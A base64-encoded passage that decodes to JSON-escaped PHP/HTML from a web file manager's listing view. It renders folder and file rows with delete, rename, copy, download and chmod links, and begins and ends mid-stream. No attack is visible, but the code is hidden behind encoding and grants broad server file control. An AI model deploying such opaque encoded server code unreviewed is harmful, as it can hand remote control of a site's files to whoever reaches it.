JHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2luZm8gPSBwb3NpeF9nZXRncmdpZCgkZ3JvdXBfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRncm91cF9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gICRncm91cF9pbmZvO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yX2xvZyhcImV4Y2VwdGlvbjpcIiAuICRlLT5nZXRNZXNzYWdlKCkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LXRkXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1pbnB1dFwiIGlkPVwiPD9waHAgZWNobyAkaWkgPz5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYygkZikgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCI8P3BocCBlY2hvICRpaSA/PlwiPjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZpbGVuYW1lXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCI8P3BocCBlY2hvICRpbWcgPz5cIj48XC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICgkaXNfbGluayA/ICcgJnJhcnI7IDxpPicgLiByZWFkbGluaygkcGF0aCAuICdcLycgLiAkZikgLiAnPFwvaT4nIDogJycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImEtPD9waHAgZWNobyBzdHJfcGFkKCRmaWxlc2l6ZV9yYXcsIDE4LCBcIjBcIiwgU1RSX1BBRF9MRUZUKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/PlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9XCJhLTw/cGhwIGVjaG8gJGRhdGVfc29ydGluZzsgPz5cIj48P3BocCBlY2hvICRtb2RpZiA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9XCJDaGFuZ2UgUGVybWlzc2lvbnNcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10gPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAnMTAyOCcsJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSAuICcgJyAuIGxuZygnRm9sZGVyJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIiBocmVmPVwiP3A9JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJykgPz5cIiBocmVmPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmIC4gJ1wvJykgPz5cIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWxpbmtcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBmbHVzaCgpO1xuICAgICAgICAgICAgICAgICRpaSsrO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJGlrID0gODAwMjtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ZhIGZhLWZpbGUtdGV4dC1vJyA6IGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZiA9IGRhdGUoRk1fREFURVRJTUVfRk9STUFULCAkbW9kaWZfcmF3KTtcbiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoXCJGIGQgWSBIOmk6cy5cIiwgJG1vZGlmX3JhdykpO1xuICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSBmbV9nZXRfc2l6ZSgkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuICAgICAgICAgICAgICAgICRmaWxlbGluayA9ICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpIC4gJyZhbXA7dmlldz0nIC4gdXJsZW5jb2RlKCRmKTtcbiAgICAgICAgICAgICAgICAkYWxsX2ZpbGVzX3NpemUgKz0gJGZpbGVzaXplX3JhdztcbiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkcGF0aCAuICdcLycgLiAkZikpLCAtNCk7XG4gICAgICAgICAgICAgICAgJG93bmVyID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7IFxuICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpO1xuICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7XG4gICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaWQgPSBmaWxlb3duZXIoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pZCAhPSAwKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJG93bmVyX2luZm8gPSBwb3NpeF9nZXRwd3VpZCgkb3duZXJfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb3duZXJfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSAgJG93bmVyX2luZm87XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2lkID0gZmlsZWdyb3VwKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRncm91cF9pbmZvID0gcG9zaXhfZ2V0Z3JnaWQoJGdyb3VwX2lkKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZ3JvdXBfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRncm91cCA9ICAkZ3JvdXBfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlcnJvcl9sb2coXCJleGNlcHRpb246XCIgLiAkZS0+Z2V0TWVzc2FnZSgpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPHRyPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImN1c3RvbS1jaGVja2JveC10ZFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cIjw/cGhwIGVjaG8gJGlrID8+XCIgbmFtZT1cImZpbGVbXVwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoJGYpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz1cImN1c3RvbS1jb250cm9sLWxhYmVsXCIgZm9yPVwiPD9waHAgZWNobyAkaWsgPz5cIj48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD48P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2VuYygkZikgPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZmlsZW5hbWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheShzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmLCBQQVRISU5GT19FWFRFTlNJT04pKSwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnLCAnd2VicCcsICdhdmlmJykpKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgJGltYWdlUHJldmlldyA9IGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiPD9waHAgZWNobyAkZmlsZWxpbmsgPz5cIiBkYXRhLXByZXZpZXctaW1hZ2U9XCI8P3BocCBlY2hvICRpbWFnZVByZXZpZXcgPz5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIjw/cGhwIGVjaG8gJGZpbGVsaW5rID8+XCIgdGl0bGU9XCI8P3BocCBlY2hvICRmID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPVwiPD9waHAgZWNobyAkaW1nID8+XCI+PFwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJ1wvJyAuICRmKSAuICc8XC9pPicgOiAnJykgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPVwiYi08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsIFwiMFwiLCBTVFJfUEFEX0xFRlQpOyA/PlwiPjxzcGFuIHRpdGxlPVwiPD9waHAgcHJpbnRmKCclcyBieXRlcycsICRmaWxlc2l6ZV9yYXcpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZmlsZXNpemU7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9zcGFuPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImItPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOyA/PlwiPjw/cGhwIGVjaG8gJG1vZGlmID8+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz48YSB0aXRsZT1cIjw/cGhwIGVjaG8gJ0NoYW5nZSBQZXJtaXNzaW9ucycgPz5cIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGZtX2VuYygkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddKSA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpID8+XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkZWw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMDksICc8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgLiAnICcgLiBsbmcoJ0ZpbGUnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWZpbGVzLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RpcmVjdExpbmsnKSA/PlwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1saW5rXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMTEsICc8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj48aSBjbGFzcz1cImZhIGZhLWRvd25sb2FkXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgZmx1c2goKTtcbiAgICAgICAgICAgICAgICAkaWsrKztcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKSB7ID8+XG4gICAgICAgICAgICAgICAgPHRmb290PlxuICAgICAgICAgICAgICAgICAgICA8dHI+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/ICc2JyA6ICc0JyA/PlwiPjxlbT48P3BocCBlY2hvIGxuZygnRm9sZGVyIGlzIGVtcHR5JykgPz48XC9lbT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfSBlbHNlIHsgPz5cbiAgICAgICAgICAgICAgICA8dGZvb3Q+XG4gICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImdyYXkgZnMtN1wiIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/IChGTV9SRUFET05MWSA/ICc2JyA6ICc3JykgOiAoRk1fUkVBRE9OTFkgPyAnNCcgOiAnNScpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0Z1bGxTaXplJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuIGZtX2dldF9maWxlc2l6ZSgkYWxsX2ZpbGVzX3NpemUpIC4gJzxcL3NwYW4+JyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGaWxlJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuICRudW1fZmlsZXMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpIC4gJzogPHNwYW4gY2xhc3M9XCJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMFwiPicgLiAkbnVtX2ZvbGRlcnMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocCB9ID8+XG4gICAgICAgIDxcL3RhYmxlPlxuICAgIDxcL2Rpdj5cblxuICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS05XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBmbGV4LXdyYXBcIiBkYXRhLXRvZ2dsZT1cImJ1dHRvbnNcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiI1wvc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInNlbGVjdF9hbGwoKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnU2VsZWN0QWxsJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIiNcL3Vuc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInVuc2VsZWN0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXdpbmRvdy1jbG9zZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVblNlbGVjdEFsbCcpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCIjXC9pbnZlcnQtYWxsXCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIiBvbmNsaWNrPVwiaW52ZXJ0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXRoLWxpc3RcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSW52ZXJ0U2VsZWN0aW9uJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJkZWxldGVcIiBpZD1cImEtZGVsZXRlXCIgdmFsdWU9XCJEZWxldGVcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/Jyk7ID8+JylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTtcIiBjbGFzcz1cImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMlwiPjxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJ6aXBcIiBpZD1cImEtemlwXCIgdmFsdWU9XCJ6aXBcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdDcmVhdGUgYXJjaGl2ZT8nKTsgPz4nKVwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS16aXAnKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlLWFyY2hpdmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdaaXAnKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiaGlkZGVuXCIgbmFt